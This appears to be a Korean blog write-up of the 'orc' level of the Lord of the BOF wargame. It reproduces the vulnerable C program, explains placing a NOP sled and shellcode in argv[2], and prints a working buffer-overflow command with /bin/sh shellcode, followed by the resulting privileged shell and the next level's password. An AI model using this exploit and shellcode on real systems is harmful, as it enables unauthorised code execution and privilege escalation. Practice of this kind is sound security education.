관리 메뉴

IT창고

[BOF] goblin -> orc 본문

WarGame/The Load of the BOF

[BOF] goblin -> orc

방구석여포 2018. 2. 11. 00:08

orc 문제입니다.

/*

        The Lord of the BOF : The Fellowship of the BOF

        - orc

        - egghunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// egghunter 

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);

}


더 이상 환경변수에 쉘코드를 올릴수없게되었습니다. 그리고 bf주소를 꼭 사용해야하기 때문에 오버플로우 이외의 방법을 사용할수없습니다.
힌트는 printf("argv error\n"); 여기서 확인할수있습니다 즉 argv[]에 쉘코드를 올려 사용하면됩니다. 
grgv[0]에는 파일명이 들어갑니다.
grgv[1]에는 첫번째 인자가 들어갑니다.
grgv[2]에는 두번째 인자가 들어가는데 여기에 쉘코드를 사용합니다.


argv[2]인자에 NOP코드를 가득 넣어두고 원하는곳을 잡고 사용하면 됩니다.

[goblin@localhost goblin]$ ./orc $(python -c 'print "\x90"*44+"\x83\x77\xff\xbf"') $(python -c 'print "\x90"*100000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\xb0\x0b\x89\xe1\x31\xd2\xcd\x80"')
wÿ¿
bash$ id
uid=503(goblin) gid=503(goblin) euid=504(orc) egid=504(orc) groups=503(goblin)
bash$ my-pass
euid = 504
cantata
bash$ 




'WarGame > The Load of the BOF' 카테고리의 다른 글

[BOF] wolfman -> darkelf  (0) 2018.02.12
[BOF] orc -> wolfman  (0) 2018.02.12
[BOF] cobolt -> goblin  (0) 2018.02.10
[BOF] gremlin -> cobolt  (0) 2018.02.10
[BOF] gate-> gremlin  (0) 2018.02.09
Comments